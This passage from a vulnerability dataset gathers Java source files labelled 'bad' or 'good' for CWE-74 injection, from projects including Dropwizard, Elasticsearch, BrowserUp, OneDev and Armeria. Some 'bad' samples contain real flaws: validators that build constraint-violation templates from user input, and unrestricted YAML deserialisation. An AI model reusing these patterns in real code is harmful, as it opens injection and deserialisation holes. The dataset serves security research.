* with <code>@SelfValidation</code> that adheres to required signature.
*/
@SuppressWarnings({ "rawtypes" })
private <T> List<ValidationCaller> findMethods(Class<T> annotated) {
ResolvedTypeWithMembers annotatedType = memberResolver.resolve(typeResolver.resolve(annotated), annotationConfiguration, null);
final List<ValidationCaller> callers = Arrays.stream(annotatedType.getMemberMethods())
.filter(this::isValidationMethod)
.filter(this::isMethodCorrect)
.map(m -> new ProxyValidationCaller<>(annotated, m))
.collect(Collectors.toList());
if (callers.isEmpty()) {
log.warn("The class {} is annotated with @SelfValidating but contains no valid methods that are annotated " +
"with @SelfValidation", annotated);
}
return callers;
}
private boolean isValidationMethod(ResolvedMethod m) {
return m.get(SelfValidation.class) != null;
}
boolean isMethodCorrect(ResolvedMethod m) {
if (m.getReturnType()!=null) {
log.error("The method {} is annotated with @SelfValidation but does not return void. It is ignored", m.getRawMember());
return false;
} else if (m.getArgumentCount() != 1 || !m.getArgumentType(0).getErasedType().equals(ViolationCollector.class)) {
log.error("The method {} is annotated with @SelfValidation but does not have a single parameter of type {}",
m.getRawMember(), ViolationCollector.class);
return false;
} else if (!m.isPublic()) {
log.error("The method {} is annotated with @SelfValidation but is not public", m.getRawMember());
return false;
}
return true;
}
final static class ProxyValidationCaller<T> extends ValidationCaller<T> {
private final Class<T> cls;
private final ResolvedMethod resolvedMethod;
ProxyValidationCaller(Class<T> cls, ResolvedMethod resolvedMethod) {
this.cls = cls;
this.resolvedMethod = resolvedMethod;
}
@Override
public void call(ViolationCollector vc) {
final Method method = resolvedMethod.getRawMember();
final T obj = cls.cast(getValidationObject());
try {
method.invoke(obj, vc);
} catch (ReflectiveOperationException e) {
throw new IllegalStateException("Couldn't call " + resolvedMethod + " on " + getValidationObject(), e);
}
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_3891_2
|
crossvul-java_data_good_1678_2
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.transport.local;
import org.elasticsearch.Version;
import org.elasticsearch.common.io.ThrowableObjectOutputStream;
import org.elasticsearch.common.io.stream.BytesStreamOutput;
import org.elasticsearch.common.io.stream.HandlesStreamOutput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.transport.*;
import org.elasticsearch.transport.support.TransportStatus;
import java.io.IOException;
import java.io.NotSerializableException;
/**
*
*/
public class LocalTransportChannel implements TransportChannel {
private final LocalTransport sourceTransport;
private final TransportServiceAdapter sourceTransportServiceAdapter;
// the transport we will *send to*
private final LocalTransport targetTransport;
private final String action;
private final long requestId;
private final Version version;
public LocalTransportChannel(LocalTransport sourceTransport, TransportServiceAdapter sourceTransportServiceAdapter, LocalTransport targetTransport, String action, long requestId, Version version) {
this.sourceTransport = sourceTransport;
this.sourceTransportServiceAdapter = sourceTransportServiceAdapter;
this.targetTransport = targetTransport;
this.action = action;
this.requestId = requestId;
this.version = version;
}
@Override
public String action() {
return action;
}
@Override
public void sendResponse(TransportResponse response) throws IOException {
sendResponse(response, TransportResponseOptions.EMPTY);
}
@Override
public void sendResponse(TransportResponse response, TransportResponseOptions options) throws IOException {
BytesStreamOutput bStream = new BytesStreamOutput();
StreamOutput stream = new HandlesStreamOutput(bStream);
stream.setVersion(version);
stream.writeLong(requestId);
byte status = 0;
status = TransportStatus.setResponse(status);
stream.writeByte(status); // 0 for request, 1 for response.
response.writeTo(stream);
stream.close();
final byte[] data = bStream.bytes().toBytes();
targetTransport.workers().execute(new Runnable() {
@Override
public void run() {
targetTransport.messageReceived(data, action, sourceTransport, version, null);
}
});
sourceTransportServiceAdapter.onResponseSent(requestId, action, response, options);
}
@Override
public void sendResponse(Throwable error) throws IOException {
BytesStreamOutput stream = new BytesStreamOutput();
if (ThrowableObjectOutputStream.canSerialize(error) == false) {
assert false : "Can not serialize exception: " + error; // make sure tests fail
error = new NotSerializableTransportException(error);
}
try {
writeResponseExceptionHeader(stream);
RemoteTransportException tx = new RemoteTransportException(targetTransport.nodeName(), targetTransport.boundAddress().boundAddress(), action, error);
ThrowableObjectOutputStream too = new ThrowableObjectOutputStream(stream);
too.writeObject(tx);
too.close();
} catch (NotSerializableException e) {
stream.reset();
writeResponseExceptionHeader(stream);
RemoteTransportException tx = new RemoteTransportException(targetTransport.nodeName(), targetTransport.boundAddress().boundAddress(), action, new NotSerializableTransportException(error));
ThrowableObjectOutputStream too = new ThrowableObjectOutputStream(stream);
too.writeObject(tx);
too.close();
}
final byte[] data = stream.bytes().toBytes();
targetTransport.workers().execute(new Runnable() {
@Override
public void run() {
targetTransport.messageReceived(data, action, sourceTransport, version, null);
}
});
sourceTransportServiceAdapter.onResponseSent(requestId, action, error);
}
private void writeResponseExceptionHeader(BytesStreamOutput stream) throws IOException {
stream.writeLong(requestId);
byte status = 0;
status = TransportStatus.setResponse(status);
status = TransportStatus.setError(status);
stream.writeByte(status);
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_2
|
crossvul-java_data_good_3891_1
|
package io.dropwizard.validation.selfvalidating;
import javax.validation.Constraint;
import javax.validation.Payload;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.util.Map;
/**
* The annotated element has methods annotated by
* {@link io.dropwizard.validation.selfvalidating.SelfValidation}.
* Those methods are executed on validation.
*/
@Documented
@Target({ElementType.TYPE, ElementType.ANNOTATION_TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = SelfValidatingValidator.class)
public @interface SelfValidating {
String message() default "";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
/**
* Escape EL expressions to avoid template injection attacks.
* <p>
* This has serious security implications and you will
* have to escape the violation messages added to {@link ViolationCollector} appropriately.
*
* @see ViolationCollector#addViolation(String, Map)
* @see ViolationCollector#addViolation(String, String, Map)
* @see ViolationCollector#addViolation(String, Integer, String, Map)
*/
boolean escapeExpressions() default true;
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_1
|
crossvul-java_data_bad_4390_1
|
package com.browserup.bup.rest.validation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import javax.validation.Constraint;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import javax.validation.Payload;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = { NotBlankConstraint.NotBlankValidator.class })
public @interface NotBlankConstraint {
String message() default "";
String paramName() default "";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
class NotBlankValidator implements ConstraintValidator<NotBlankConstraint, Object> {
private static final Logger LOG = LoggerFactory.getLogger(NotBlankValidator.class);
@Override
public void initialize(NotBlankConstraint constraintAnnotation) {
}
@Override
public boolean isValid(Object value, ConstraintValidatorContext context) {
if (value != null && StringUtils.isNotEmpty(String.valueOf(value))) {
return true;
}
String errorMessage = String.format("Expected not empty value, got '%s'", value);
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_1
|
crossvul-java_data_bad_1678_4
|
404: Not Found
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_4
|
crossvul-java_data_bad_4533_1
|
/**
* Licensed to The Apereo Foundation under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
*
* The Apereo Foundation licenses this file to you under the Educational
* Community License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License
* at:
*
* http://opensource.org/licenses/ecl2.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*
*/
package org.opencastproject.mediapackage.identifier;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlType;
import javax.xml.bind.annotation.XmlValue;
/**
* Simple and straightforward implementation of the {@link Id} interface.
*/
@XmlType
@XmlAccessorType(XmlAccessType.NONE)
public class IdImpl implements Id {
/** The identifier */
@XmlValue
protected String id = null;
/**
* Needed for JAXB serialization
*/
public IdImpl() {
}
/**
* Creates a new identifier.
*
* @param id
* the identifier
*/
public IdImpl(String id) {
this.id = id;
}
/**
* {@inheritDoc}
*
* @see org.opencastproject.mediapackage.identifier.Id#compact()
*/
public String compact() {
return id.replaceAll("/", "-").replaceAll("\\\\", "-");
}
@Override
public String toString() {
return id;
}
/**
* {@inheritDoc}
*
* @see java.lang.Object#equals(java.lang.Object)
*/
@Override
public boolean equals(Object o) {
if (o instanceof IdImpl) {
IdImpl other = (IdImpl) o;
return id != null && other.id != null && id.equals(other.id);
}
return false;
}
/**
* {@inheritDoc}
*
* @see java.lang.Object#hashCode()
*/
@Override
public int hashCode() {
return id.hashCode();
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4533_1
|
crossvul-java_data_bad_1899_0
|
package io.onedev.server.migration;
import java.beans.IntrospectionException;
import java.beans.PropertyDescriptor;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.hibernate.proxy.HibernateProxyHelper;
import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.DumperOptions.FlowStyle;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.Constructor;
import org.yaml.snakeyaml.emitter.Emitter;
import org.yaml.snakeyaml.introspector.BeanAccess;
import org.yaml.snakeyaml.introspector.MethodProperty;
import org.yaml.snakeyaml.introspector.Property;
import org.yaml.snakeyaml.introspector.PropertyUtils;
import org.yaml.snakeyaml.nodes.MappingNode;
import org.yaml.snakeyaml.nodes.Node;
import org.yaml.snakeyaml.nodes.NodeTuple;
import org.yaml.snakeyaml.nodes.ScalarNode;
import org.yaml.snakeyaml.nodes.Tag;
import org.yaml.snakeyaml.representer.Representer;
import org.yaml.snakeyaml.resolver.Resolver;
import org.yaml.snakeyaml.serializer.Serializer;
import edu.emory.mathcs.backport.java.util.Collections;
import io.onedev.commons.launcher.loader.ImplementationRegistry;
import io.onedev.commons.utils.ClassUtils;
import io.onedev.server.OneDev;
import io.onedev.server.GeneralException;
import io.onedev.server.util.BeanUtils;
import io.onedev.server.web.editable.annotation.Editable;
public class VersionedYamlDoc extends MappingNode {
public VersionedYamlDoc(MappingNode wrapped) {
super(wrapped.getTag(), wrapped.getValue(), wrapped.getFlowStyle());
}
public static VersionedYamlDoc fromYaml(String yaml) {
return new VersionedYamlDoc((MappingNode) new OneYaml().compose(new StringReader(yaml)));
}
@SuppressWarnings("unchecked")
public <T> T toBean(Class<T> beanClass) {
setTag(new Tag(beanClass));
if (getVersion() != null) {
try {
MigrationHelper.migrate(getVersion(), beanClass.newInstance(), this);
removeVersion();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
}
return (T) new OneYaml().construct(this);
}
public static VersionedYamlDoc fromBean(Object bean) {
VersionedYamlDoc doc = new VersionedYamlDoc((MappingNode) new OneYaml().represent(bean));
doc.setVersion(MigrationHelper.getVersion(HibernateProxyHelper.getClassWithoutInitializingProxy(bean)));
return doc;
}
private String getVersion() {
for (NodeTuple tuple: getValue()) {
ScalarNode keyNode = (ScalarNode) tuple.getKeyNode();
if (keyNode.getValue().equals("version"))
return ((ScalarNode)tuple.getValueNode()).getValue();
}
throw new GeneralException("Unable to find version");
}
private void removeVersion() {
for (Iterator<NodeTuple> it = getValue().iterator(); it.hasNext();) {
ScalarNode keyNode = (ScalarNode) it.next().getKeyNode();
if (keyNode.getValue().equals("version"))
it.remove();
}
}
private void setVersion(String version) {
ScalarNode versionNode = null;
for (NodeTuple tuple: getValue()) {
ScalarNode keyNode = (ScalarNode) tuple.getKeyNode();
if (keyNode.getValue().equals("version")) {
((ScalarNode) tuple.getValueNode()).setValue(version);
break;
}
}
if (versionNode == null) {
ScalarNode keyNode = new ScalarNode(Tag.STR, "version", null, null, DumperOptions.ScalarStyle.PLAIN);
versionNode = new ScalarNode(Tag.INT, version, null, null, DumperOptions.ScalarStyle.PLAIN);
getValue().add(0, new NodeTuple(keyNode, versionNode));
}
}
public String toYaml() {
StringWriter writer = new StringWriter();
DumperOptions dumperOptions = new DumperOptions();
Serializer serializer = new Serializer(new Emitter(writer, dumperOptions),
new Resolver(), dumperOptions, Tag.MAP);
try {
serializer.open();
serializer.serialize(this);
serializer.close();
return writer.toString();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
private static class OneConstructor extends Constructor {
public Object construct(Node node) {
return constructDocument(node);
}
@Override
protected Class<?> getClassForNode(Node node) {
Class<?> type = node.getType();
if (type.getAnnotation(Editable.class) != null && !ClassUtils.isConcrete(type)) {
ImplementationRegistry registry = OneDev.getInstance(ImplementationRegistry.class);
for (Class<?> implementationClass: registry.getImplementations(node.getType())) {
String implementationTag = new Tag("!" + implementationClass.getSimpleName()).getValue();
if (implementationTag.equals(node.getTag().getValue()))
return implementationClass;
}
}
return super.getClassForNode(node);
}
}
private static class OneYaml extends Yaml {
OneYaml() {
super(newConstructor(), newRepresenter());
/*
* Use property here as yaml will be read by human and we want to make
* it consistent with presented in UI
*/
setBeanAccess(BeanAccess.PROPERTY);
}
private static Representer newRepresenter() {
Representer representer = new Representer() {
@SuppressWarnings("rawtypes")
@Override
protected NodeTuple representJavaBeanProperty(Object javaBean, Property property,
Object propertyValue,Tag customTag) {
if (propertyValue == null
|| propertyValue instanceof Collection && ((Collection) propertyValue).isEmpty()
|| propertyValue instanceof Map && ((Map) propertyValue).isEmpty()) {
return null;
} else {
return super.representJavaBeanProperty(javaBean, property, propertyValue, customTag);
}
}
};
representer.setDefaultFlowStyle(FlowStyle.BLOCK);
representer.setPropertyUtils(new PropertyUtils() {
@Override
protected Set<Property> createPropertySet(Class<? extends Object> type, BeanAccess bAccess) {
List<Property> properties = new ArrayList<>();
Map<String, Integer> orders = new HashMap<>();
if (type.getAnnotation(Editable.class) != null) {
for (Method getter: BeanUtils.findGetters(type)) {
Editable editable = getter.getAnnotation(Editable.class);
Method setter = BeanUtils.findSetter(getter);
if (editable != null && setter != null) {
String propertyName = BeanUtils.getPropertyName(getter);
try {
properties.add(new MethodProperty(new PropertyDescriptor(propertyName, getter, setter)));
} catch (IntrospectionException e) {
throw new RuntimeException(e);
}
orders.put(propertyName, editable.order());
}
}
}
Collections.sort(properties, new Comparator<Property>() {
@Override
public int compare(Property o1, Property o2) {
return orders.get(o1.getName()) - orders.get(o2.getName());
}
});
return new LinkedHashSet<>(properties);
}
});
return representer;
}
private static OneConstructor newConstructor() {
return new OneConstructor();
}
public Object construct(Node node) {
return ((OneConstructor)constructor).construct(node);
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1899_0
|
crossvul-java_data_bad_4390_2
|
package com.browserup.bup.rest.validation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.util.regex.Pattern;
import javax.validation.Constraint;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import javax.validation.Payload;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = { PatternConstraint.PatternValidator.class })
public @interface PatternConstraint {
String message() default "";
String paramName() default "";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
class PatternValidator implements ConstraintValidator<PatternConstraint, String> {
private static final Logger LOG = LoggerFactory.getLogger(PatternValidator.class);
@Override
public void initialize(PatternConstraint constraintAnnotation) {
}
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
if (StringUtils.isEmpty(value)) {
return true;
}
try {
Pattern.compile(value);
return true;
} catch (Exception ex) {
String errorMessage = String.format("URL parameter '%s' is not a valid regexp", value);
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
}
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_2
|
crossvul-java_data_bad_1112_0
|
/*
* Copyright 2015 LINE Corporation
*
* LINE Corporation licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright (C) 2011 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.linecorp.armeria.common;
import static java.util.Objects.requireNonNull;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Map;
import com.google.common.base.Ascii;
import com.google.common.collect.ImmutableMap;
import io.netty.util.AsciiString;
/**
* Contains constant definitions for the HTTP header field names.
*
* <p>All header names in this class are defined in lowercase to support HTTP/2 requirements while
* also not violating HTTP/1 requirements.</p>
*/
public final class HttpHeaderNames {
// Forked from Guava 27.1 at 8e174e76971449665658a800af6dd350806cc934
// Changes:
// - Added pseudo headers
// - Added Accept-Patch
// - Added Content-Base
// - Added Prefer
// - Removed the ancient CSP headers
// - X-Content-Security-Policy
// - X-Content-Security-Policy-Report-Only
// - X-WebKit-CSP
// - X-WebKit-CSP-Report-Only
// - Removed Sec-Metadata headers (too early to add)
// - Sec-Fetch-Dest
// - Sec-Fetch-Mode
// - Sec-Fetch-Site
// - Sec-Fetch-User
// - Sec-Metadata
// Pseudo-headers
/**
* The HTTP {@code ":method"} pseudo header field name.
*/
public static final AsciiString METHOD = create(":method");
/**
* The HTTP {@code ":scheme"} pseudo header field name.
*/
public static final AsciiString SCHEME = create(":scheme");
/**
* The HTTP {@code ":authority"} pseudo header field name.
*/
public static final AsciiString AUTHORITY = create(":authority");
/**
* The HTTP {@code ":path"} pseudo header field name.
*/
public static final AsciiString PATH = create(":path");
/**
* The HTTP {@code ":status"} pseudo header field name.
*/
public static final AsciiString STATUS = create(":status");
// HTTP Request and Response header fields
/**
* The HTTP {@code "Cache-Control"} header field name.
*/
public static final AsciiString CACHE_CONTROL = create("Cache-Control");
/**
* The HTTP {@code "Content-Length"} header field name.
*/
public static final AsciiString CONTENT_LENGTH = create("Content-Length");
/**
* The HTTP {@code "Content-Type"} header field name.
*/
public static final AsciiString CONTENT_TYPE = create("Content-Type");
/**
* The HTTP {@code "Date"} header field name.
*/
public static final AsciiString DATE = create("Date");
/**
* The HTTP {@code "Pragma"} header field name.
*/
public static final AsciiString PRAGMA = create("Pragma");
/**
* The HTTP {@code "Via"} header field name.
*/
public static final AsciiString VIA = create("Via");
/**
* The HTTP {@code "Warning"} header field name.
*/
public static final AsciiString WARNING = create("Warning");
// HTTP Request header fields
/**
* The HTTP {@code "Accept"} header field name.
*/
public static final AsciiString ACCEPT = create("Accept");
/**
* The HTTP {@code "Accept-Charset"} header field name.
*/
public static final AsciiString ACCEPT_CHARSET = create("Accept-Charset");
/**
* The HTTP {@code "Accept-Encoding"} header field name.
*/
public static final AsciiString ACCEPT_ENCODING = create("Accept-Encoding");
/**
* The HTTP {@code "Accept-Language"} header field name.
*/
public static final AsciiString ACCEPT_LANGUAGE = create("Accept-Language");
/**
* The HTTP {@code "Access-Control-Request-Headers"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_REQUEST_HEADERS = create("Access-Control-Request-Headers");
/**
* The HTTP {@code "Access-Control-Request-Method"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_REQUEST_METHOD = create("Access-Control-Request-Method");
/**
* The HTTP {@code "Authorization"} header field name.
*/
public static final AsciiString AUTHORIZATION = create("Authorization");
/**
* The HTTP {@code "Connection"} header field name.
*/
public static final AsciiString CONNECTION = create("Connection");
/**
* The HTTP {@code "Cookie"} header field name.
*/
public static final AsciiString COOKIE = create("Cookie");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc8470">{@code "Early-Data"}</a> header field
* name.
*/
public static final AsciiString EARLY_DATA = create("Early-Data");
/**
* The HTTP {@code "Expect"} header field name.
*/
public static final AsciiString EXPECT = create("Expect");
/**
* The HTTP {@code "From"} header field name.
*/
public static final AsciiString FROM = create("From");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc7239">{@code "Forwarded"}</a> header field name.
*/
public static final AsciiString FORWARDED = create("Forwarded");
/**
* The HTTP {@code "Follow-Only-When-Prerender-Shown"} header field name.
*/
public static final AsciiString FOLLOW_ONLY_WHEN_PRERENDER_SHOWN =
create("Follow-Only-When-Prerender-Shown");
/**
* The HTTP {@code "Host"} header field name.
*/
public static final AsciiString HOST = create("Host");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc7540#section-3.2.1">{@code "HTTP2-Settings"}
* </a> header field name.
*/
public static final AsciiString HTTP2_SETTINGS = create("HTTP2-Settings");
/**
* The HTTP {@code "If-Match"} header field name.
*/
public static final AsciiString IF_MATCH = create("If-Match");
/**
* The HTTP {@code "If-Modified-Since"} header field name.
*/
public static final AsciiString IF_MODIFIED_SINCE = create("If-Modified-Since");
/**
* The HTTP {@code "If-None-Match"} header field name.
*/
public static final AsciiString IF_NONE_MATCH = create("If-None-Match");
/**
* The HTTP {@code "If-Range"} header field name.
*/
public static final AsciiString IF_RANGE = create("If-Range");
/**
* The HTTP {@code "If-Unmodified-Since"} header field name.
*/
public static final AsciiString IF_UNMODIFIED_SINCE = create("If-Unmodified-Since");
/**
* The HTTP {@code "Last-Event-ID"} header field name.
*/
public static final AsciiString LAST_EVENT_ID = create("Last-Event-ID");
/**
* The HTTP {@code "Max-Forwards"} header field name.
*/
public static final AsciiString MAX_FORWARDS = create("Max-Forwards");
/**
* The HTTP {@code "Origin"} header field name.
*/
public static final AsciiString ORIGIN = create("Origin");
/**
* The HTTP {@code "Prefer"} header field name.
*/
public static final AsciiString PREFER = create("Prefer");
/**
* The HTTP {@code "Proxy-Authorization"} header field name.
*/
public static final AsciiString PROXY_AUTHORIZATION = create("Proxy-Authorization");
/**
* The HTTP {@code "Range"} header field name.
*/
public static final AsciiString RANGE = create("Range");
/**
* The HTTP {@code "Referer"} header field name.
*/
public static final AsciiString REFERER = create("Referer");
/**
* The HTTP <a href="https://www.w3.org/TR/referrer-policy/">{@code "Referrer-Policy"}</a> header
* field name.
*/
public static final AsciiString REFERRER_POLICY = create("Referrer-Policy");
/**
* The HTTP <a href="https://www.w3.org/TR/service-workers/#update-algorithm">{@code
* Service-Worker}</a> header field name.
*/
public static final AsciiString SERVICE_WORKER = create("Service-Worker");
/**
* The HTTP {@code "TE"} header field name.
*/
public static final AsciiString TE = create("TE");
/**
* The HTTP {@code "Upgrade"} header field name.
*/
public static final AsciiString UPGRADE = create("Upgrade");
/**
* The HTTP {@code "User-Agent"} header field name.
*/
public static final AsciiString USER_AGENT = create("User-Agent");
// HTTP Response header fields
/**
* The HTTP {@code "Accept-Ranges"} header field name.
*/
public static final AsciiString ACCEPT_RANGES = create("Accept-Ranges");
/**
* The HTTP {@code "Accept-Patch"} header field name.
*/
public static final AsciiString ACCEPT_PATCH = create("Accept-Patch");
/**
* The HTTP {@code "Access-Control-Allow-Headers"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_ALLOW_HEADERS = create("Access-Control-Allow-Headers");
/**
* The HTTP {@code "Access-Control-Allow-Methods"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_ALLOW_METHODS = create("Access-Control-Allow-Methods");
/**
* The HTTP {@code "Access-Control-Allow-Origin"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_ALLOW_ORIGIN = create("Access-Control-Allow-Origin");
/**
* The HTTP {@code "Access-Control-Allow-Credentials"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_ALLOW_CREDENTIALS =
create("Access-Control-Allow-Credentials");
/**
* The HTTP {@code "Access-Control-Expose-Headers"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_EXPOSE_HEADERS = create("Access-Control-Expose-Headers");
/**
* The HTTP {@code "Access-Control-Max-Age"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_MAX_AGE = create("Access-Control-Max-Age");
/**
* The HTTP {@code "Age"} header field name.
*/
public static final AsciiString AGE = create("Age");
/**
* The HTTP {@code "Allow"} header field name.
*/
public static final AsciiString ALLOW = create("Allow");
/**
* The HTTP {@code "Content-Base"} header field name.
*/
public static final AsciiString CONTENT_BASE = create("Content-Base");
/**
* The HTTP {@code "Content-Disposition"} header field name.
*/
public static final AsciiString CONTENT_DISPOSITION = create("Content-Disposition");
/**
* The HTTP {@code "Content-Encoding"} header field name.
*/
public static final AsciiString CONTENT_ENCODING = create("Content-Encoding");
/**
* The HTTP {@code "Content-Language"} header field name.
*/
public static final AsciiString CONTENT_LANGUAGE = create("Content-Language");
/**
* The HTTP {@code "Content-Location"} header field name.
*/
public static final AsciiString CONTENT_LOCATION = create("Content-Location");
/**
* The HTTP {@code "Content-MD5"} header field name.
*/
public static final AsciiString CONTENT_MD5 = create("Content-MD5");
/**
* The HTTP {@code "Content-Range"} header field name.
*/
public static final AsciiString CONTENT_RANGE = create("Content-Range");
/**
* The HTTP <a href="https://w3.org/TR/CSP/#content-security-policy-header-field">{@code
* Content-Security-Policy}</a> header field name.
*/
public static final AsciiString CONTENT_SECURITY_POLICY = create("Content-Security-Policy");
/**
* The HTTP <a href="https://w3.org/TR/CSP/#content-security-policy-report-only-header-field">
* {@code "Content-Security-Policy-Report-Only"}</a> header field name.
*/
public static final AsciiString CONTENT_SECURITY_POLICY_REPORT_ONLY =
create("Content-Security-Policy-Report-Only");
/**
* The HTTP {@code "ETag"} header field name.
*/
public static final AsciiString ETAG = create("ETag");
/**
* The HTTP {@code "Expires"} header field name.
*/
public static final AsciiString EXPIRES = create("Expires");
/**
* The HTTP {@code "Last-Modified"} header field name.
*/
public static final AsciiString LAST_MODIFIED = create("Last-Modified");
/**
* The HTTP {@code "Link"} header field name.
*/
public static final AsciiString LINK = create("Link");
/**
* The HTTP {@code "Location"} header field name.
*/
public static final AsciiString LOCATION = create("Location");
/**
* The HTTP <a href="https://googlechrome.github.io/OriginTrials/#header">{@code "Origin-Trial"}</a>
* header field name.
*/
public static final AsciiString ORIGIN_TRIAL = create("Origin-Trial");
/**
* The HTTP {@code "P3P"} header field name. Limited browser support.
*/
public static final AsciiString P3P = create("P3P");
/**
* The HTTP {@code "Proxy-Authenticate"} header field name.
*/
public static final AsciiString PROXY_AUTHENTICATE = create("Proxy-Authenticate");
/**
* The HTTP {@code "Refresh"} header field name. Non-standard header supported by most browsers.
*/
public static final AsciiString REFRESH = create("Refresh");
/**
* The HTTP <a href="https://www.w3.org/TR/reporting/">{@code "Report-To"}</a> header field name.
*/
public static final AsciiString REPORT_TO = create("Report-To");
/**
* The HTTP {@code "Retry-After"} header field name.
*/
public static final AsciiString RETRY_AFTER = create("Retry-After");
/**
* The HTTP {@code "Server"} header field name.
*/
public static final AsciiString SERVER = create("Server");
/**
* The HTTP <a href="https://www.w3.org/TR/server-timing/">{@code "Server-Timing"}</a> header field
* name.
*/
public static final AsciiString SERVER_TIMING = create("Server-Timing");
/**
* The HTTP <a href="https://www.w3.org/TR/service-workers/#update-algorithm">{@code
* Service-Worker-Allowed}</a> header field name.
*/
public static final AsciiString SERVICE_WORKER_ALLOWED = create("Service-Worker-Allowed");
/**
* The HTTP {@code "Set-Cookie"} header field name.
*/
public static final AsciiString SET_COOKIE = create("Set-Cookie");
/**
* The HTTP {@code "Set-Cookie2"} header field name.
*/
public static final AsciiString SET_COOKIE2 = create("Set-Cookie2");
/**
* The HTTP <a href="https://goo.gl/Dxx19N">{@code "SourceMap"}</a> header field name.
*/
public static final AsciiString SOURCE_MAP = create("SourceMap");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc6797#section-6.1">{@code
* Strict-Transport-Security}</a> header field name.
*/
public static final AsciiString STRICT_TRANSPORT_SECURITY = create("Strict-Transport-Security");
/**
* The HTTP <a href="https://www.w3.org/TR/resource-timing/#cross-origin-resources">{@code
* Timing-Allow-Origin}</a> header field name.
*/
public static final AsciiString TIMING_ALLOW_ORIGIN = create("Timing-Allow-Origin");
/**
* The HTTP {@code "Trailer"} header field name.
*/
public static final AsciiString TRAILER = create("Trailer");
/**
* The HTTP {@code "Transfer-Encoding"} header field name.
*/
public static final AsciiString TRANSFER_ENCODING = create("Transfer-Encoding");
/**
* The HTTP {@code "Vary"} header field name.
*/
public static final AsciiString VARY = create("Vary");
/**
